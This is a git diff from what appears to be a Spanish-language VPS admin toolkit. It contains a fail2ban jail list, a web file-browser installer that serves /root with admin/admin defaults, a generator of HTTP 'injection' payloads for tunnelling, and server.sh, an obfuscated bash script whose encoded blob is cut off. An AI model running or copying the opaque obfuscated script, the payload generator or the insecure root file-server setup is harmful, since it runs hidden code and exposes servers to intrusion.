+echo '[squid] +enabled = true +port = 80,443,3128,8080 +logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local +} || { +echo '[squid] +port = 80,443,3128,8080 +logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local +} +[[ ! -z $s3 ]] && { +echo '[dropbear] +enabled = true +port = ssh +logpath = %(dropbear_log)s +backend = %(dropbear_backend)s' >> /etc/fail2ban/jail.local +} || { +echo '[dropbear] +port = ssh +logpath = %(dropbear_log)s +backend = %(dropbear_backend)s' >> /etc/fail2ban/jail.local +} +[[ ! -z $s4 ]] && { +echo '[apache-auth] +enabled = true +port = http,https +logpath = %(apache_error_log)s' >> /etc/fail2ban/jail.local +} || { +echo '[apache-auth] +port = http,https +logpath = %(apache_error_log)s' >> /etc/fail2ban/jail.local +} +echo '[selinux-ssh] +port = ssh +logpath = %(auditd_log)s +[apache-badbots] +port = http,https +logpath = %(apache_access_log)s +bantime = 172800 +maxretry = 1 +[apache-noscript] +port = http,https +logpath = %(apache_error_log)s +[apache-overflows] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-nohome] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-botsearch] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-fakegooglebot] +port = http,https +logpath = %(apache_access_log)s +maxretry = 1 +ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot +[apache-modsecurity] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-shellshock] +port = http,https +logpath = %(apache_error_log)s +maxretry = 1 +[openhab-auth] +filter = openhab +action = iptables-allports[name=NoAuthFailures] +logpath = /opt/openhab/logs/request.log +[nginx-http-auth] +port = http,https +logpath = %(nginx_error_log)s +[nginx-limit-req] +port = http,https +logpath = %(nginx_error_log)s +[nginx-botsearch] +port = http,https +logpath = %(nginx_error_log)s +maxretry = 2 +[php-url-fopen] +port = http,https +logpath = %(nginx_access_log)s + %(apache_access_log)s +[suhosin] +port = http,https +logpath = %(suhosin_log)s +[lighttpd-auth] +port = http,https +logpath = %(lighttpd_error_log)s +[roundcube-auth] +port = http,https +logpath = %(roundcube_errors_log)s +[openwebmail] +port = http,https +logpath = /var/log/openwebmail.log +[horde] +port = http,https +logpath = /var/log/horde/horde.log +[groupoffice] +port = http,https +logpath = /home/groupoffice/log/info.log +[sogo-auth] +port = http,https +logpath = /var/log/sogo/sogo.log +[tine20] +logpath = /var/log/tine20/tine20.log +port = http,https +[drupal-auth] +port = http,https +logpath = %(syslog_daemon)s +backend = %(syslog_backend)s +[guacamole] +port = http,https +logpath = /var/log/tomcat*/catalina.out +[monit] +#Ban clients brute-forcing the monit gui login +port = 2812 +logpath = /var/log/monit +[webmin-auth] +port = 10000 +logpath = %(syslog_authpriv)s +backend = %(syslog_backend)s +[froxlor-auth] +port = http,https +logpath = %(syslog_authpriv)s +backend = %(syslog_backend)s +[3proxy] +port = 3128 +logpath = /var/log/3proxy.log +[proftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(proftpd_log)s +backend = %(proftpd_backend)s +[pure-ftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(pureftpd_log)s +backend = %(pureftpd_backend)s +[gssftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(syslog_daemon)s +backend = %(syslog_backend)s +[wuftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(wuftpd_log)s +backend = %(wuftpd_backend)s +[vsftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(vsftpd_log)s +[assp] +port = smtp,465,submission +logpath = /root/path/to/assp/logs/maillog.txt +[courier-smtp] +port = smtp,465,submission +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[postfix] +port = smtp,465,submission +logpath = %(postfix_log)s +backend = %(postfix_backend)s +[postfix-rbl] +port = smtp,465,submission +logpath = %(postfix_log)s +backend = %(postfix_backend)s +maxretry = 1 +[sendmail-auth] +port = submission,465,smtp +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[sendmail-reject] +port = smtp,465,submission +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[qmail-rbl] +filter = qmail +port = smtp,465,submission +logpath = /service/qmail/log/main/current +[dovecot] +port = pop3,pop3s,imap,imaps,submission,465,sieve +logpath = %(dovecot_log)s +backend = %(dovecot_backend)s +[sieve] +port = smtp,465,submission +logpath = %(dovecot_log)s +backend = %(dovecot_backend)s +[solid-pop3d] +port = pop3,pop3s +logpath = %(solidpop3d_log)s +[exim] +port = smtp,465,submission +logpath = %(exim_main_log)s +[exim-spam] +port = smtp,465,submission +logpath = %(exim_main_log)s +[kerio] +port = imap,smtp,imaps,465 +logpath = /opt/kerio/mailserver/store/logs/security.log +[courier-auth] +port = smtp,465,submission,imap3,imaps,pop3,pop3s +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[postfix-sasl] +port = smtp,465,submission,imap3,imaps,pop3,pop3s +logpath = %(postfix_log)s +backend = %(postfix_backend)s +[perdition] +port = imap3,imaps,pop3,pop3s +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[squirrelmail] +port = smtp,465,submission,imap2,imap3,imaps,pop3,pop3s,http,https,socks +logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log +[cyrus-imap] +port = imap3,imaps +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[uwimap-auth] +port = imap3,imaps +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[named-refused] +port = domain,953 +logpath = /var/log/named/security.log +[nsd] +port = 53 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] +logpath = /var/log/nsd.log +[asterisk] +port = 5060,5061 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] + %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] +logpath = /var/log/asterisk/messages +maxretry = 10 +[freeswitch] +port = 5060,5061 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] + %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] +logpath = /var/log/freeswitch.log +maxretry = 10 +[mysqld-auth] +port = 3306 +logpath = %(mysql_log)s +backend = %(mysql_backend)s +[recidive] +logpath = /var/log/fail2ban.log +banaction = %(banaction_allports)s +bantime = 604800 ; 1 week +findtime = 86400 ; 1 day +[pam-generic] +banaction = %(banaction_allports)s +logpath = %(syslog_authpriv)s +backend = %(syslog_backend)s +[xinetd-fail] +banaction = iptables-multiport-log +logpath = %(syslog_daemon)s +backend = %(syslog_backend)s +maxretry = 2 +[stunnel] +logpath = /var/log/stunnel4/stunnel.log +[ejabberd-auth] +port = 5222 +logpath = /var/log/ejabberd/ejabberd.log +[counter-strike] +logpath = /opt/cstrike/logs/L[0-9]*.log +# Firewall: http://www.cstrike-planet.com/faq/6 +tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039 +udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] +[nagios] +logpath = %(syslog_daemon)s ; nrpe.cfg may define a different log_facility +backend = %(syslog_backend)s +maxretry = 1 +[directadmin] +logpath = /var/log/directadmin/login.log +port = 2222 +[portsentry] +logpath = /var/lib/portsentry/portsentry.history +maxretry = 1 +[pass2allow-ftp] +# this pass2allow example allows FTP traffic after successful HTTP authentication +port = ftp,ftp-data,ftps,ftps-data +# knocking_url variable must be overridden to some secret value in filter.d/apache-pass.local +filter = apache-pass +# access log of the website with HTTP auth +logpath = %(apache_access_log)s +blocktype = RETURN +returntype = DROP +bantime = 3600 +maxretry = 1 +findtime = 1 +[murmur] +port = 64738 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp] +logpath = /var/log/mumble-server/mumble-server.log +[screensharingd] +logpath = /var/log/system.log +logencoding = utf-8 +[haproxy-http-auth] +logpath = /var/log/haproxy.log' >> /etc/fail2ban/jail.local +service fail2ban restart > /dev/null 2>&1 +echo -e "${cor[5]} INSTALACION TERMINADA CON EXITO" + fi +fi +msg -bar +return +} + +fail2ban_function +[[ -e $HOME/fail2ban ]] && rm $HOME/fail2ban +[[ -d $HOME/fail2ban-0.9.4 ]] && rm -rf $HOME/fail2ban-0.9.4 + diff --git a/Recursos/ferramentas/fail2ban-0.9.4.tar.gz b/Recursos/ferramentas/fail2ban-0.9.4.tar.gz new file mode 100644 index 0000000..d3b5ba7 Binary files /dev/null and b/Recursos/ferramentas/fail2ban-0.9.4.tar.gz differ diff --git a/Recursos/ferramentas/filebrowser.sh b/Recursos/ferramentas/filebrowser.sh new file mode 100644 index 0000000..29783dd --- /dev/null +++ b/Recursos/ferramentas/filebrowser.sh @@ -0,0 +1,533 @@ +#!/bin/bash +# by @Rufu99 [rudi9999] +# https://github.com/rudi9999/ADMRufu +source msg +install_file(){ + filemanager_os="unsupported" + filemanager_arch="unknown" + + filemanager_bin="filebrowser" + filemanager_dl_ext=".tar.gz" + + unamem="$(uname -m)" + case $unamem in + *64*)filemanager_arch="amd64";; + *86*)filemanager_arch="386";; + *) clear + msg -bar + print_center -ama "INSTALACIÓN CANCELADA\nARQUITECTURA NO SOPORTADA" + enter + return;; + esac + + unameu="$(tr '[:lower:]' '[:upper:]' <<<$(uname))" + if [[ $unameu == *LINUX* ]]; then + filemanager_os="linux" + else + clear + msg -bar + print_center -ama "instalacion conselada\nSistema $unameu no soportada" + enter + return + fi + + if type -p curl >/dev/null 2>&1; then + net_getter="curl -fsSL" + elif type -p wget >/dev/null 2>&1; then + net_getter="wget -qO-" + else + clear + print_center -ama "instalacion canselada\nNo se encontro curl o wget" + return + fi + + filemanager_file="${filemanager_os}-$filemanager_arch-filebrowser$filemanager_dl_ext" + filemanager_tag="$(${net_getter} https://api.github.com/repos/filebrowser/filebrowser/releases/latest | grep -o '"tag_name": ".*"' | sed 's/"//g' | sed 's/tag_name: //g')" + filemanager_url="https://github.com/filebrowser/filebrowser/releases/download/$filemanager_tag/$filemanager_file" + + rm -rf "/tmp/$filemanager_file" + + ${net_getter} "$filemanager_url" > "/tmp/$filemanager_file" + + tar -xzf "/tmp/$filemanager_file" -C "/tmp/" "$filemanager_bin" + + chmod +x "/tmp/$filemanager_bin" + + mv "/tmp/$filemanager_bin" "$install_path/$filemanager_bin" + + if setcap_cmd=$(PATH+=$PATH:/sbin type -p setcap); then + $sudo_cmd $setcap_cmd cap_net_bind_service=+ep "$install_path/$filemanager_bin" + fi + + rm -- "/tmp/$filemanager_file" + + if [[ -d /etc/filebrowser ]]; then + rm -rf /etc/filebrowser + fi + + adduser --system --group --HOME /etc/filebrowser/ --shell /usr/sbin/nologin --no-create-home filebrowser &>/dev/null + mkdir -p /etc/filebrowser/style + chown -Rc filebrowser:filebrowser /etc/filebrowser &>/dev/null + chmod -R +x /etc/filebrowser + touch /etc/filebrowser/filebrowser.log + chown -c filebrowser:filebrowser /etc/filebrowser/filebrowser.log &>/dev/null + + ip=$(ip -4 addr | grep inet | grep -vE '127(\.[0-9]{1,3}){3}' | cut -d '/' -f 1 | grep -oE '[0-9]{1,3}(\.[0-9]{1,3}){3}' | sed -n 1p) + + cat < /etc/filebrowser/.filebrowser.toml +address = "$ip" +port = 8000 +root = "/root" +database = "/etc/filebrowser/filebrowser.db" +log = "/etc/filebrowser/filebrowser.log" +EOF + +cat < /etc/filebrowser/style/custom.css +:root { + --background: #141D24; + --surfacePrimary: #20292F; + --surfaceSecondary: #3A4147; + --divider: rgba(255, 255, 255, 0.12); + --icon: #ffffff; + --textPrimary: rgba(255, 255, 255, 0.87); + --textSecondary: rgba(255, 255, 255, 0.6); +} + +body { + background: var(--background); + color: var(--textPrimary); +} + +#loading { + background: var(--background); +} +#loading .spinner div, main .spinner div { + background: var(--icon); +} + +#login { + background: var(--background); +} + +header { + background: var(--surfacePrimary); +} + +#search #input { + background: var(--surfaceSecondary); + border-color: var(--surfacePrimary); +} +#search #input input::placeholder { + color: var(--textSecondary); +} +#search.active #input { + background: var(--surfacePrimary); +} +#search.active input { + color: var(--textPrimary); +} +#search #result { + background: var(--background); + color: var(--textPrimary); +} +#search .boxes { + background: var(--surfaceSecondary); +} +#search .boxes h3 { + color: var(--textPrimary); +} + +.action { + color: var(--textPrimary) !important; +} +.action:hover { + background-color: rgba(255, 255, 255, .1); +} +.action i { + color: var(--icon) !important; +} +.action .counter { + border-color: var(--surfacePrimary); +} + +nav > div { + border-color: var(--divider); +} + +.breadcrumbs { + border-color: var(--divider); + color: var(--textPrimary) !important; +} +.breadcrumbs span { + color: var(--textPrimary) !important; +} +.breadcrumbs a:hover { + background-color: rgba(255, 255, 255, .1); +} + +#listing .item { + background: var(--surfacePrimary); + color: var(--textPrimary); + border-color: var(--divider) !important; +} +#listing .item i { + color: var(--icon); +} +#listing .item .modified { + color: var(--textSecondary); +} +#listing h2, +#listing.list .header span { + color: var(--textPrimary) !important; +} +#listing.list .header span { + color: var(--textPrimary); +} +#listing.list .header i { + color: var(--icon); +} +#listing.list .item.header { + background: var(--background); +} + +.message { + color: var(--textPrimary); +} + +.card { + background: var(--surfacePrimary); + color: var(--textPrimary); +} +.button--flat:hover { + background: var(--surfaceSecondary); +} + +.dashboard #nav ul li { + color: var(--textSecondary); +} +.dashboard #nav ul li:hover { + background: var(--surfaceSecondary); +} + +.card h3, +.dashboard #nav, +.dashboard p label { + color: var(--textPrimary); +} +.card#share input, +.card#share select, +.input { + background: var(--surfaceSecondary); + color: var(--textPrimary); + border: 1px solid rgba(255, 255, 255, 0.05); +} +.input:hover, +.input:focus { + border-color: rgba(255, 255, 255, 0.15); +} +.input--red { + background: #73302D; +} + +.input--green { + background: #147A41; +} + +.dashboard #nav .wrapper, +.collapsible { + border-color: var(--divider); +} +.collapsible > label * { + color: var(--textPrimary); +} + +table th { + color: var(--textSecondary); +} + +.file-list li:hover { + background: var(--surfaceSecondary); +} +.file-list li:before { + color: var(--textSecondary); +} +.file-list li[aria-selected=true]:before { + color: var(--icon); +} + +.shell { + background: var(--surfacePrimary); + color: var(--textPrimary); +} +.shell__result { + border-top: 1px solid var(--divider); +} + +#editor-container { + background: var(--background); +} + +#editor-container .bar { + background: var(--surfacePrimary); +} + +@media (max-width: 736px) { + #file-selection { + background: var(--surfaceSecondary) !important; + } + #file-selection span { + color: var(--textPrimary) !important; + } + nav { + background: var(--surfaceSecondary) !important; + } + #dropdown { + background: var(--surfaceSecondary) !important; + } +} + +.share__box { + background: var(--surfacePrimary) !important; + color: var(--textPrimary); +} + +.share__box__element { + border-top-color: var(--divider); +} +EOF + +cat < /etc/systemd/system/filebrowser.service +[Unit] +Description=Web File Browser +After=network.target + +[Service] +SuccessExitStatus=1 +Type=simple +ExecStart=/usr/local/bin/filebrowser + +[Install] +WantedBy=multi-user.target +EOF + + chmod +x /etc/filebrowser/.filebrowser.toml + chmod +x /etc/filebrowser/style/custom.css + chmod +x /etc/systemd/system/filebrowser.service + + if type -p $filemanager_bin >/dev/null 2>&1; then + set_autoport + set_user + set_password + filebrowser config init --branding.name 'ChuKK-SCRIPT' --locale es --branding.disableExternal --branding.files '/etc/filebrowser/style' &>/dev/null + filebrowser users add "$user" "$pass" --locale es --perm.admin &>/dev/null + systemctl enable filebrowser &>/dev/null + systemctl start filebrowser &>/dev/null + ufw allow $port_f/tcp &>/dev/null + #print_center -verd "instalacion completa!!!" + echo -e "\e[1;32m [✓] FILEBROWSER INSTALADO CORRECTAMENTE [✓]" + else + rm -rf /etc/filebrowser + rm -rf /usr/local/bin/filebrowser + rm -rf /etc/systemd/system/filebrowser.service + echo -e " $(msg -verm 'ERROR AL INSTALAR')" + fi +enter +} + +set_user(){ + while [[ -z $user ]]; do + #in_opcion -nama "Nombre de usuario [admin]" + msg -ne 'Ingresa un usuario [admin]: '&&read user + if [[ -z $user ]]; then + tput cuu1 && tput dl1 + msg -ama "USUARIO DEFAULT: \e[1;92madmin" + else + break + fi + done +} + +set_password(){ + while [[ -z $pass ]]; do + #in_opcion -nama "Nombre de usuario [admin]" + msg -ne 'Ingresa una contraseña [admin]: '&&read pass + if [[ -z $pass ]]; then + tput cuu1 && tput dl1 + msg -ama "CONTRASEÑA DEFAULT: \e[1;92madmin" + else + break + fi + done +} + +set_autoport(){ + port_f=8000 + while [[ -z $opc ]]; do + if [[ $(mportas|grep -w "$port_f") = '' ]]; then + opc=$port_f + else + let port_f++ + fi + done + port_f=$port_f + oldP=$(grep 'port' /etc/filebrowser/.filebrowser.toml) + sed -i "s/$oldP/port = $port_f/g" /etc/filebrowser/.filebrowser.toml +} + +desinstal_file(){ + if [[ $(systemctl is-active filebrowser) = 'active' ]]; then + systemctl stop filebrowser &>/dev/null + fi + if [[ $(systemctl is-enabled filebrowser) = 'enabled' ]]; then + systemctl disable filebrowser &>/dev/null + fi + userdel filebrowser &>/dev/null + rm -rf /etc/filebrowser + rm -rf /usr/local/bin/filebrowser + rm -rf /etc/systemd/system/filebrowser.service + print_center -ama "filebrowser desinstalado!!!!" + enter +} + +on(){ + set_autoport + systemctl start filebrowser &>/dev/null + ufw allow $port_f/tcp &>/dev/null + if [[ $(systemctl is-enabled filebrowser) = 'disabled' ]]; then + systemctl enable filebrowser &>/dev/null + fi + print_center -verd "filebrowser iniciado!!!" +} + +off(){ + systemctl stop filebrowser &>/dev/null + if [[ $(systemctl is-enabled filebrowser) = 'enabled' ]]; then + systemctl disable filebrowser &>/dev/null + fi + print_center -ama "filebrowser detenido!!!" +} + +on_off_file(){ + sta=$(systemctl is-active filebrowser) + case $sta in + active)off;; + failed|inactive)on;; + esac + enter +} + +reload_file(){ + set_autoport + systemctl restart filebrowser &>/dev/null + ufw allow $port_f/tcp &>/dev/null + print_center -ama "servicio filebrowser reiniciado!!!" + enter +} + +set_name_user(){ + set_user + act=0 + if [[ $(systemctl is-active filebrowser) = 'active' ]]; then + systemctl stop filebrowser &>/dev/null + act=1 + fi + filebrowser users update 1 --username "$user" &>/dev/null + if [[ $act = 1 ]]; then + systemctl start filebrowser &>/dev/null + fi + print_center -ama "nombre actualizado!!!" + enter +} + +set_pass(){ + set_password + act=0 + if [[ $(systemctl is-active filebrowser) = 'active' ]]; then + systemctl stop filebrowser &>/dev/null + act=1 + fi + filebrowser users update 1 --password "$pass" &>/dev/null + if [[ $act = 1 ]]; then + systemctl start filebrowser &>/dev/null + fi + print_center -ama "Contraseña actualizada!!!" + enter +} + +act_root(){ + act=0 + if [[ $(systemctl is-active filebrowser) = 'active' ]]; then + systemctl stop filebrowser &>/dev/null + act=1 + fi + opcion=$(filebrowser users ls|grep '1'|awk -F ' ' '{print $3}') + case $opcion in + .)filebrowser users update 1 --scope '/' &>/dev/null + print_center -verd 'acceso root activo!!!!';; + /)filebrowser users update 1 --scope '.' &>/dev/null + print_center -ama 'acceso root desavilitado!!!!';; + esac + if [[ $act = 1 ]]; then + systemctl start filebrowser &>/dev/null + fi + enter +} + +menu_file(){ + install_path="/usr/local/bin" + if [[ ! -d $install_path ]]; then + install_path="/usr/bin" + fi + + #title "ADMINISTRADOR DE ARCHIVOS WEB" + clear + rufu=$(printext 'by @Rufu99') + cat <<< "┏━╸╻╻ ┏━╸┏┓ ┏━┓┏━┓╻ ╻┏━┓┏━╸┏━┓ +┣╸ ┃┃ ┣╸ ┣┻┓┣┳┛┃ ┃┃╻┃┗━┓┣╸ ┣┳┛ ${rufu} +╹ ╹┗━╸┗━╸┗━┛╹┗╸┗━┛┗┻┛┗━┛┗━╸╹┗╸"|lolcat + msg -bar + nu=1 + if [[ -e "$install_path/filebrowser" ]]; then + + std='\e[1m\e[32mINICIAR FILEBROWSER' + if [[ $(systemctl is-active filebrowser) = 'active' ]]; then + port=$(grep 'port' /etc/filebrowser/.filebrowser.toml|cut -d ' ' -f3) + print_center -ama 'En tu navegador web usa este url' + print_center -teal "http://$(mip):$port" + msg -bar + std='\e[1;31mDETENER FILEBROWSER' + fi + #echo " $(msg -verd '[1]') $(msg -verm2 '>') $(msg -verm2 'DESINSTALAR FILEBROWSER')" + #echo -e " $(msg -verd '[2]') $(msg -verm2 '>') $(msg -verd 'INICIAR')$(msg -ama '/')$(msg -verm2 'DETENER') $std" + #echo " $(msg -verd '[3]') $(msg -verm2 '>') $(msg -azu 'REINICIAR')" + #msg -bar3 + #echo " $(msg -verd '[4]') $(msg -verm2 '>') $(msg -ama 'MODIFICAR NOMBRE DE USUARIO')" + #echo " $(msg -verd '[5]') $(msg -verm2 '>') $(msg -ama 'MODIFICAR CONTRASEÑA')" + #msg -bar3 + #echo " $(msg -verd '[6]') $(msg -verm2 '>') $(msg -verd 'ACTIVAR')$(msg -ama '/')$(msg -verm2 'DESACTIVAR') $(msg -azu 'ACCESO ROOT')" + de="$nu"; in='a'&& nu=6 + menu_func "-vm DESINSTALAR FILEBROWSER" \ + "${std}" "-bar REINICIAR" \ + "MODIFICAR NOMBRE DE USUARIO" "MODIFICAR CONTRASEÑA/PASS " \ + "\e[1;32mACTIVAR\e[1;33m/\e[1;31mDESACTIVAR \e[1;97m ACCESO ROOT" + else + #echo " $(msg -verd '[1]') $(msg -verm2 '>') $(msg -verd 'INSTALAR FILEBROWSER')" && in="$nu"; de='a' + menu_func 'INSTALAR FILEBROWSER'&&in="$nu"&&de='a' + fi + back + opcion=$(selection_fun $nu) + case $opcion in + "$in")install_file;; + "$de")desinstal_file;; + 2)on_off_file;; + 3)reload_file;; + 4)set_name_user;; + 5)set_pass;; + 6)act_root;; + 0)return 1;; + esac +} + +while [[ $? -eq 0 ]]; do + menu_file +done diff --git a/Recursos/ferramentas/gen-pays.sh b/Recursos/ferramentas/gen-pays.sh new file mode 100644 index 0000000..fa8baad --- /dev/null +++ b/Recursos/ferramentas/gen-pays.sh @@ -0,0 +1,73 @@ +#!/bin/bash +source msg + +mr=(GET CONNECT PUT OPTIONS DELETE HEAD TRACE PROPATCH PATH) +xr=(realData netData raw) + +value=$IP +[[ -z $value ]] && value='127.0.0.1' +cat <<< '┏━┓┏━┓╻ ╻╻ ┏━┓┏━┓╺┳┓┏━┓ +┣━┛┣━┫┗┳┛┃ ┃ ┃┣━┫ ┃┃┗━┓ +╹ ╹ ╹ ╹ ┗━╸┗━┛╹ ╹╺┻┛┗━┛' +msg -bar +while [[ -z $host ]]; do + msg -ne 'Ingresa tu host: '&&read host + if [[ -z $host ]]; then + msg -verm 'INGRESA UN HOST VÁLIDO' + sleep 2&&tput cuu1&&tput dl1&&unset host + else + host=$(echo $host|tr -d '[[:space:]]') + fi +done +tput cuu1&&tput dl1 +echo -e "$(msg -ama 'HOST:')\e[1;97m $host" +msg -bar +echo -e " $(msg -ne 'ELIJA UN MÉTODO DE RESPUESTA')" +msg -bar +menu_func 'GET' 'CONNECT' 'PUT' 'OPTIONS' 'DELETE' 'HEAD' 'TRACE' 'PROPATCH' 'PATH' +back +echo -ne "\033[1;30m╰► Seleccione su opción: \e[92m"&&read rr +[[ $rr == @([1-9]) ]] && { + rr=$(( $rr - 1 )) + met=${mr[$rr]} + del 14 + msg -ama "método: \e[1;97m$met" +} +msg -bar +echo -e " $(msg -ne 'ELIJA UN MÉTODO DE INYECCIÓN')" +msg -bar +menu_func 'realData' 'netData' 'raw' +back +echo -ne "\033[1;30m╰► Seleccione su opción: \e[92m"&&read zz +[[ $zz == @([1-3]) ]] && { + zz=$(( $zz - 1 )) + mxt=${xr[$zz]}&&del 8 + msg -ama "inject: \e[1;97m$mxt" +} +msg -bar +echo -e " $(printext 'GENERANDO PAYLOADS')" +if [[ -e ${sdir[0]}/payloads ]]; then + cat ${sdir[0]}/payloads > ~/pays.txt +else + wget -O ~/pays.txt https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Lista/payloads &> /dev/null +fi + +if [[ -e ~/pays.txt ]]; then + sed -s "s;realData;abc;g" ~/pays.txt > $HOME/xd.txt + mv -f ~/xd.txt ~/pays.txt + sed -i "s;netData;abc;g" ~/pays.txt + sed -i "s;raw;abc;g" ~/pays.txt + sed -i "s;abc;$mxt;g" ~/pays.txt + sed -i "s;get;$met;g" ~/pays.txt + sed -i "s;mhost;$host;g" ~/pays.txt + sed -i "s;mip;$value;g" ~/pays.txt + msg -bar + msg -verd "[✓] PAYLOADS GENERADOS [✓]" + msg -bar + cat ~/pays.txt|tail -30 + msg -bar + enter +else + msg -verm 'error' +fi + diff --git a/Recursos/ferramentas/server.sh b/Recursos/ferramentas/server.sh new file mode 100755 index 0000000..e1c89bd --- /dev/null +++ b/Recursos/ferramentas/server.sh @@ -0,0 +1,2 @@ +#!/bin/bash +CMZaWZYgDiZmMaHSiOVDmmNFoYniyhtfFglfcnjkuRyoagzMQjPNZPrZbhkiibcjZZJkgIFRQeBcNesoXQAihVGIgEgUGqjmOktS="TLCvHVhESOHMYxazsPgGxqnXmHAAxRTCZJcdkmylWBDYptFLeiCVNCIZqhhgaVNcNCUkWRaraUEeFKAAcDEGlouWgHVdMNtWTnww";QYjnFsRotrZbhrfiefqmbfJotVNDRmplCBVUooXeXOiCGvBmdjpEMRmQjZwZsAmpzTmbjSoUoVKOfLSUlGEfNILkhlGDoulgCuoz="iyFwdsIpSilBXyLMGYFYgbQZJiPfYjvUZsRFvcymcWbkIjjeIkXlVPILzyCrxsOgABAmbMWLkHCtWEPrTIpLUfTgqJMnVPovIGaU";jcQyuhzQTlsviKbqkxIAVCNBmAzAXxOgQKvFapOTrZgJABykpcogLrQlRnLsVFCbBEZUiDDoLqtWcYbunuYjwmsmnWvOwFmAllBR="ch";MKajUAPdmXToqOQsPyVPPPNlrvbvBkQNHzsMQbmJsoYanXsDLkLvbxteAYUgiSReTKfCrpEEwgWhCcYEvwlroZgwWnMNVYxCcyvz="4";nmaTNWKpJIYGkhwzZalHvvqlzpMpKVyPprKxbdUdtRsRKpTwEHOBpQNqAXcAyRHsrvBhVQiUVxXUsJpWnFFDWSfbKzeTdoFpRlVb="";KdZOCclnkOxShtHaczENRuCAUYbOgfMGTchGZgSqsYCrYojolBqvkgHzvLfrZBIrPoNDnqDggOWvPQcopgcoZfuetQlMTKbaoBSM="ALpbvJysLNxHJBWnHAIYWNYlEdXDprSRrkPWdkNxWUpSSRISZLjztkWETgShUIDelOWsVEVdkWFXweItEXFcXNXjmRJPIRTNWDUW";HsqBHgfnjVzVgYEfClywDjxMEeLmSVeiOYzjOsCrtGyegOIorAIJGoXdiasbJknMATDLpevDwWTxmwXrhpJlJaeDPzkVZaRMEFWD=" =oQampwYhNXZJowO7IiLhRWd5FGIlRGI6Osbl1GI812N5sTMbVGXgAHblhWLtASb1MzWlxFftdTO7EzWlxFIo1CItVzMbVGXg4GXuM3b2lGajJXYgIXZ2BCftdTO7EzWlxFIzVGbpZWL3VWa21SLg0WNzsVZcxXb3kzOxsVZcBidtASb1MzWlxFIuxlLz9mdph2YyFGIyFmcy9mYgwXb3kzOxsVZcBSZ0VGblRWLtASb1MzWlxFftdTO7EzWlxFIk1CItVzMbVGXg4GXuM3b2lGajJXYgIXaiV3cgwXb3kzOxsVZcBCZh9GbwVXLtASb1MzWlxFftdTO7EzWlxFI11Sb1MzWlxFIg4GXgADJtNTO7EzWlxFI682c112N5sTMbVGXiASZtAyboNWZJkgCpAHblhWLtACfggWLJowO7MXZslmZtcXZpZnJmEDI0ZWaoNXKzVGbpZWL3VWa21SLgwHI21SCKszOlRXZsVGZmYSMgQnZph2cpUGdlxWZk1SLgwHIk1SCKszOARCIkF2bsBXdmYSMgQnZph2cpQWYvxGc11SLgwHI11SCK4WagEDJgU2chNWCKU2csVmCl52bkBCIgAiCjF2cllgC7szclxWam1ydllmdpMTCKszOlRXZsVGZpITCKszOJkgC9lQCKISRUNVSYVEIP5EIhRXdyRCIPlkUPR1QFJVSE9SQUVlUgEETiASbyVmdtAyZz1WCJkgC7BCf8BSfJkgC9lQCJogIFR1UJhVRg8kTgUGbpZGJg8kVJh0QSFEIMVkIg0mclZXLgc2ctlQCJkgC7BCf8BSfJkQCKISZslmZk8SY0VnckICIkF2bsBXdJkQCJowegYiJg0VXgUGbpZGJvEGd1JHJgUWLgs1WJkQCKsHImYCId1FI9FGd1J3ekACZtAyWblQCKIicpRGJi0TY0VncJkgCylGZgQWYlJnJmcCI601Y0V2L8VUTPhEJbByb2lGajJXYgwWZgEmc05WZ1NmblBSZzBSZk52bkBybpJ3b0NWZylGZvEGd1JHIhxGIlNXZydmbJdCIl5WLgc2ctlQCKEDbkBCd1BHdmYSM1V3YgQXdwRXCJoQamlQCK8DJg4mc1RXZylQCJogblhGdgsTXdBSZslmZkAietAyWbBiZplQCKUGbpZGIkFWZyZiJnAiOvZXaoNmchBCblRGIlJnYt9mbgwWZgU2clJ3Zul0JgUmbtAyZz1WCJoQKxASCKszOrFWZyJWKwASCK4WagA2Mg4Wdm9lbvlGdjVGblNHYgU2chNWCKs2YhJWCK0XCKciUPRUSW